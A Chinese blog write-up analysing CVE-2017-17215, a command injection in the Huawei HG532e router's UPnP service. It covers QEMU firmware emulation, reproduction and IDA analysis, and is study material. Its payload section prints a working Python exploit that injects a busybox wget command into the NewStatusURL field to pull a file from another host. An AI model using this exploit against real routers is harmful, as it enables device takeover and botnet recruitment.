CVE-2017-17215 HG532e 远程命令执行漏洞分析

CVE-2017-17215 HG532e 远程命令执行漏洞分析


0x01 前言

HG532e 是华为的一款无线路由器。 这个漏洞是由蜜罐捕获到payload 之后,才被checkpoint 披露出来的。
这都是好几年前的洞了,但是可以作为分析固件,模拟固件很好的学习例子。

0x02 搭建固件模拟环境

首先固件模拟,需要现成的固件 下载链接 HG532e
下载不了可以留言给我。

固件模拟这里有两种方式:
一种是 利用现有的工具 firmware-analysis-toolkit 工具包直接运行固件,这里可以参考我路由器固件模拟环境搭建 这篇博客。运行完之后,就是一个模拟的路由器。
但这种方式有的路由器无法模拟出来。

第二种是 使用qemu 提供固件需要的运行环境,然后将固件放到环境中运行。

这里介绍第二种方式,并且总结一下使用qemu 遇到的坑。

安装qemu
这里搭建的环境是 ubuntu 18.04

sudo apt-get install qemu
#user mode,包含qemu-mips-static,qemu-mipsel-static,qemu-arm-static等
sudo apt-get install qemu-user-static
#system mode,包含qemu-system-mips,qemu-system-mipsel,qemu-system-arm等
sudo apt-get install qemu-system

安装完之后是这样的。
在这里插入图片描述
安装依赖文件

sudo apt-get install libglib2.0 libglib2.0-dev
sudo apt-get install autoconf automake libtool

安装桥接网络所需要的依赖文件

sudo apt-get install uml-utilities bridge-utils

修改Ubuntu 主机的网络配置,修改系统的网络接口配置文件/etc/network/interfaces。
在这里插入图片描述

修改Qemu文件, 如果没有,就创建QEMU网络接口启动脚本,重启网络使配置生效。
在这里插入图片描述
在qemu-ifup 中写入如下内容
sudo /sbin/ifconfig $1 0.0.0.0 promisc up 将ens33 IP设置为0
sudo /sbin/brtcl addif br0 $1 // 将br0和eth0绑定在一起
在这里插入图片描述
保存文件后,给文件执行权限,然后重启网络使配置生效
在这里插入图片描述
启动桥接网络
在这里插入图片描述
坑1: 这里需要将虚拟机重启一下,否则可能在启动qemu之后,qemu 虚拟机依旧无法分配IP。

从https://people.debian.org/~aurel32/qemu/mips/下载对应的debian mips qemu镜像
为什么要下载mips 的镜像,这是因为固件的指令架构是mips 架构。 如下图所示
在这里插入图片描述
下载完之后执行

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

启动之后输入 root/root 登录进去

然后ifconfig 查看一下网卡信息,ping 一下百度 测试网络联通性

0x03 漏洞复现

先利用binwalk 解包。
在这里插入图片描述
然后使用scp 将 解开的固件文件夹中squashfs-root 文件夹传到运行的qemu 环境中

scp -r ./squashfs-root  root@虚拟机ip:/root/

然后切换到路由器的根目录中
在这里插入图片描述
启动upnp
在这里插入图片描述
启动mic, 启动mic 之后,可能会没有网络,有的时候启动mic 之后,eth0 会没有网络,这时候需要ifdown eth0 , ifup eth0 重启一下网卡。
在这里插入图片描述
查看端口是否打开

在这里插入图片描述
在这里插入图片描述
这个时候说明路由器的upnp 服务运行起来了
起一个http 服务
在这里插入图片描述
运行exp
在这里插入图片描述
查看路由器内部
在这里插入图片描述
payload

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.124.187 -l /tmp/1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.124.130:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
0x04 漏洞分析

根据公布的漏洞信息,里面有一些字符串 ctrlt、 DeviceUpgrade_1、NewStatusURL 等这些字符串。以及漏洞产生点的 端口号37215 。
在这里插入图片描述
我们可以在固件中搜索这些字符串, 并且可以看一下37215 这个端口所在的文件。
在这里插入图片描述
查看端口37215, 我们可以看到upnp 字符串,这里可以猜测,37215 和upnp 协议有关。 因此模拟固件的时候会运行upnp和mic
在这里插入图片描述
将upnp 放到IDA中进行分析
查看View-string 字符串。 可以看到NewStatusURL.
在这里插入图片描述
双击到如下所示
在这里插入图片描述
选中查看字符串的交叉引用。
在这里插入图片描述
跳转到如下图所示,找到了upnp 的关键代码
在这里插入图片描述
可以分析出来 其中a0 参数是会的内容是会传到system()中执行的。因此可以实现命令注入
snprintf(a0,0x400,“upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -”,a3)

0x05 写在最后

很久没有写博客了,最近完成了很多重要的事情,也确定了自己的方向和目标。
希望自己能一直在安全行业坚持下去,不断的学习,夯实基础。
i am hacker , i can change things。 happy hacking every day。


种一颗树最好的时间是十年前和现在。

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值